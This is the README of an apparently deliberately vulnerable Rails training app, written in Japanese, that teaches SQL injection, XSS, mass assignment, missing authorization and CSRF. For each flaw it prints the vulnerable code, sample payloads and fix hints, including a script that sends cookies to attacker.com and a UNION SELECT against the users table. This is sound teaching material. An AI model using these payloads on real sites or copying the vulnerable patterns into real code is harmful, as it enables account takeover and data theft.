Skip to content

everyleaf/hc2025_security_gym

Repository files navigation

Security Gym - セキュリティ学習用タスク管理アプリ

Ruby Version Rails Version License

⚠️ 重要な注意事項

このアプリケーションには意図的にセキュリティ脆弱性が含まれています。

  • 🚫 本番環境へのデプロイは絶対に行わないでください
  • ✅ ローカル環境での学習目的のみでの使用を推奨します
  • 📚 Webアプリケーションセキュリティを学ぶための教材です

概要

Security GymはRails初学者がWebセキュリティの脆弱性を学ぶための実践的な教材アプリケーションです。シンプルなタスク管理機能を持ちながら、現実のWebアプリケーションで起こりうる典型的なセキュリティ脆弱性を意図的に含んでいます。

アプリTOP

🎯 学習目標

このアプリを通して、以下のスキルを習得できます:

  • ✅ Webアプリケーションの典型的な脆弱性を特定できる
  • ✅ 各脆弱性がどのように悪用されるかを理解する
  • ✅ セキュアなコードへ修正する方法を学ぶ
  • ✅ Railsのセキュリティベストプラクティスを習得する

📋 含まれている脆弱性一覧

このアプリケーションには以下の5つの脆弱性が含まれています:

# 脆弱性 CWE 場所 深刻度
1 SQL Injection CWE-89 TasksController#search 🔴 High
2 Cross-Site Scripting (XSS) CWE-79 tasks/index.html.erb, tasks/search.html.erb 🔴 High
3 Mass Assignment CWE-915 UsersController, TasksController 🟡 Medium
4 認可の欠如 CWE-862 TasksController#edit, #update, #destroy 🔴 High
5 CSRF保護の不備 CWE-352 SessionsController 🟡 Medium

🚀 クイックスタート

環境要件

  • Ruby 3.3.6
  • Rails 8.0.3
  • SQLite3
  • Bundler

セットアップ

# 1. リポジトリのクローン
git clone <repository-url>
cd security_gym

# 2. 依存関係のインストール
bundle install

# 3. データベースのセットアップ
bin/rails db:create
bin/rails db:migrate

# 4. 開発サーバーの起動
bin/rails server

ブラウザで http://localhost:3000 にアクセスしてください。

初回の使い方

  1. トップページからユーザー登録
  2. メールアドレスとパスワードでログイン
  3. タスク一覧から**「新しいタスクを作成」**
  4. タスクを作成して基本機能を確認

📚 学習の進め方

推奨ステップ

以下の順番で学習することをお勧めします:

ステップ1: アプリを動かす
    ↓
ステップ2: 脆弱性を試す
    ↓
ステップ3: 脆弱性を理解する
    ↓
ステップ4: セキュアなコードに修正する
    ↓
ステップ5: 修正を検証する

ステップ1: アプリを動かす

まずは普通にアプリを使ってみましょう:

  1. ユーザー登録してログイン
  2. タスクを作成・編集・削除
  3. タスクを検索
  4. 基本的な機能を理解する

ステップ2: 脆弱性を試す

次のセクション「🔓 脆弱性ガイド」を参考に、実際に脆弱性を試してみましょう。

ステップ3: 脆弱性を理解する

脆弱性を試した後、以下を考えてみましょう:

  • ❓ なぜこのコードが脆弱なのか?
  • ❓ どのような攻撃が可能か?
  • ❓ どのような被害が想定されるか?
  • ❓ 実際のWebサービスでこの脆弱性があったらどうなるか?

ステップ4: セキュアなコードに修正する

理解できたら、実際にコードを修正してみましょう:

  1. bin/brakeman を実行してセキュリティスキャンを行う
  2. 脆弱なコードを特定する
  3. セキュアなコードに書き換える
  4. テストを書いてセキュリティを保証する

ステップ5: 修正を検証する

修正後、必ず検証しましょう:

  • ✅ 攻撃が成功しないことを確認
  • ✅ 正常な機能は動作することを確認
  • ✅ Brakemanで再スキャンして警告が消えたか確認
  • ✅ テストが通ることを確認

🔓 脆弱性ガイド

各脆弱性の詳細な説明、試し方、修正のヒントを以下に示します。

1. SQL Injection(SQLインジェクション)

📍 場所

  • app/controllers/tasks_controller.rbsearch アクション

🔍 脆弱なコード

def search
  query = params[:query]
  @tasks = Task.where("title LIKE '%#{query}%'")
end

🧪 試し方

検索フォームで以下を入力してみてください:

' OR '1'='1

すべてのタスク(他のユーザーのタスクも含む)が表示されます。

より高度な攻撃例:

' UNION SELECT id, 'hacked' as title, 'hacked' as description, user_id, created_at, updated_at FROM users--

💡 修正のヒント

  • パラメータ化されたクエリを使用する
  • ActiveRecordの安全なメソッド(where with placeholder)を使用する
  • ユーザー入力を直接SQL文に埋め込まない

参考:Rails Security Guide - SQL Injection


2. Cross-Site Scripting (XSS)

📍 場所

  • app/views/tasks/index.html.erb
  • app/views/tasks/search.html.erb

🔍 脆弱なコード

<%= raw task.title %>
<!-- または -->
<%= task.description.html_safe %>

🧪 試し方

タスクのタイトルに以下を入力してみてください:

<script>alert('XSS Attack!')</script>

タスク一覧を表示すると、アラートが表示されます。

より実害のある例:

<script>
  // Cookieを盗む
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

💡 修正のヒント

  • html_saferaw を削除する
  • Railsのデフォルトのエスケープ機能を使う
  • 信頼できない入力は必ずエスケープする
  • Content Security Policy (CSP) を設定する

参考:Rails Security Guide - XSS


3. Mass Assignment

📍 場所

  • app/controllers/users_controller.rbcreate アクション
  • app/controllers/tasks_controller.rbcreate, update アクション

🔍 脆弱なコード

def create
  @user = User.new(params[:user])
  # ...
end

🧪 試し方

ブラウザの開発者ツールを使って、ユーザー登録フォームに追加のフィールドを挿入:

<input type="hidden" name="user[admin]" value="true">

もしUserモデルに admin カラムがあれば、自分を管理者にできてしまいます。

curlでの攻撃例:

curl -X POST http://localhost:3000/users \
  -d "user[email]=attacker@example.com" \
  -d "user[password]=password" \
  -d "user[admin]=true"

💡 修正のヒント

  • Strong Parameters を使用する
  • 許可する属性を明示的に指定する
  • permit メソッドで許可リストを作成する

参考:Rails Guide - Strong Parameters


4. 認可の欠如(Broken Access Control)

📍 場所

  • app/controllers/tasks_controller.rbedit, update, destroy アクション

🔍 脆弱なコード

def edit
  @task = Task.find(params[:id])  # 所有者チェックなし
end

🧪 試し方

  1. ユーザーAとユーザーBを作成
  2. ユーザーAでログインし、タスクを作成(例:ID=1)
  3. ユーザーBでログイン
  4. URLを直接入力:http://localhost:3000/tasks/1/edit

ユーザーBが、ユーザーAのタスクを編集・削除できてしまいます。

💡 修正のヒント

  • タスクが現在のユーザーに所属しているか確認する
  • current_user.tasks.find(params[:id]) を使用する
  • before_actionでの認可チェックを実装する
  • Punditなどの認可ライブラリを検討する

参考:OWASP - Broken Access Control


5. CSRF保護の不備

📍 場所

  • app/controllers/sessions_controller.rb

🔍 脆弱なコード

class SessionsController < ApplicationController
  skip_forgery_protection
  # ...
end

🧪 試し方

外部サイトから以下のようなHTMLでログアウトさせることができます:

<!-- 攻撃者のサイト(evil.com)に配置 -->
<form action="http://localhost:3000/logout" method="post">
  <input type="submit" value="Click here for a prize!">
</form>

ユーザーがボタンをクリックすると、意図せずログアウトされてしまいます。

💡 修正のヒント

  • skip_forgery_protection を削除する
  • RailsのデフォルトのCSRF保護を有効にする
  • form_with を使用して自動的にCSRFトークンを含める
  • APIの場合は、トークンベース認証を使用する

参考:Rails Security Guide - CSRF


💻 開発者向け情報

コマンド一覧

# 開発サーバーの起動
bin/rails server

# コンソールの起動
bin/rails console

# テストの実行
bin/rails test

# 特定のテストファイルを実行
bin/rails test test/models/user_test.rb

# セキュリティスキャン(Brakeman)
bin/brakeman

# コードスタイルチェック(RuboCop)
bin/rubocop

# データベースのリセット
bin/rails db:reset

# ルーティングの確認
bin/rails routes

# Gem脆弱性チェック
bundle audit

プロジェクト構造

security_gym/
├── app/
│   ├── controllers/
│   │   ├── application_controller.rb  # 認証ヘルパー
│   │   ├── users_controller.rb        # Mass Assignment 脆弱性
│   │   ├── sessions_controller.rb     # CSRF 脆弱性
│   │   └── tasks_controller.rb        # SQL Injection, 認可の欠如
│   ├── models/
│   │   ├── user.rb                    # ユーザーモデル
│   │   └── task.rb                    # タスクモデル
│   └── views/
│       ├── tasks/
│       │   ├── index.html.erb         # XSS 脆弱性
│       │   └── search.html.erb        # XSS 脆弱性
│       ├── users/
│       └── sessions/
├── config/
│   ├── routes.rb                      # ルーティング定義
│   └── database.yml                   # データベース設定
├── db/
│   ├── migrate/                       # マイグレーションファイル
│   └── schema.rb                      # データベーススキーマ
├── test/                              # テストファイル
├── CLAUDE.md                          # Claude Code用プロジェクト情報
└── README.md                          # このファイル

📖 学習リソース

公式ドキュメント

セキュリティツール

  • Brakeman - Railsセキュリティスキャナー
  • bundler-audit - Gem脆弱性チェック
  • OWASP ZAP - Webアプリケーション脆弱性スキャナー

推奨書籍

  • 「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」徳丸浩
  • 「Railsガイド セキュリティ編」

コミュニティ

❓ よくある質問(FAQ)

Q: このアプリを本番環境にデプロイしても大丈夫ですか?

A: 絶対にダメです! このアプリは教育目的で作られており、意図的に脆弱性を含んでいます。本番環境にデプロイすると、実際の攻撃を受ける可能性があります。

Q: すべての脆弱性を修正したらどうすればいいですか?

A: 素晴らしいです! 次のステップとして:

  1. テストを書いてセキュリティを保証する
  2. 他の脆弱性を探す(例:レート制限の欠如、セッション管理の問題、Insecure Direct Object Reference など)
  3. Brakemanで完全スキャンを実行する
  4. 実際のプロジェクトにセキュリティベストプラクティスを適用する

Q: 脆弱性の修正方法がわかりません

A: 以下を参考にしてください:

  1. 各脆弱性の「💡 修正のヒント」セクションを読む
  2. Rails Security Guide を読む
  3. Brakeman の出力と推奨事項を確認する
  4. OWASP Top 10 の解説を読む
  5. コミュニティやメンターに質問する

Q: Brakemanでどれくらいの警告が出ますか?

A: 意図的に脆弱性を含んでいるため、初期状態では複数の警告が表示されます。これらの警告を一つずつ解消していくことが学習の目標です。

Q: 実際の開発プロジェクトでこれらの脆弱性を避けるには?

A: 以下のベストプラクティスを守りましょう:

  • Strong Parameters を常に使用する
  • ユーザー入力を信用しない(常にバリデーション・エスケープ)
  • ActiveRecord の安全なメソッドを使う(生SQLを避ける)
  • 認証と認可を適切に実装する
  • CSRF保護を有効にする
  • Brakeman を CI/CD パイプラインに組み込む
  • 定期的にGemの脆弱性をチェックする(bundler-audit)

Q: このアプリに他の脆弱性を追加したい

A: Pull Request歓迎です! ただし、以下の点に注意してください:

  • 教育目的であることを明確にする
  • 脆弱性の場所と種類をドキュメント化する
  • 修正のヒントも一緒に提供する

📄 ライセンスと免責事項

ライセンス

MIT License

免責事項

このソフトウェアは教育目的でのみ提供されます。作者は、このソフトウェアの使用によって生じたいかなる損害についても責任を負いません。

本アプリケーションを悪用して他者のシステムを攻撃することは違反行為です。必ずローカル環境でのみ使用してください。

コントリビューション

このプロジェクトは教育目的です。改善提案やバグ報告、新しい脆弱性の追加などは歓迎します。


Happy Learning! 🎓🔒

セキュリティは一度学んだら終わりではありません。常に最新の脅威とベストプラクティスを学び続けましょう!

About

パワ〜 💪

Resources

Stars

Watchers

Forks

Packages

 
 
 

Contributors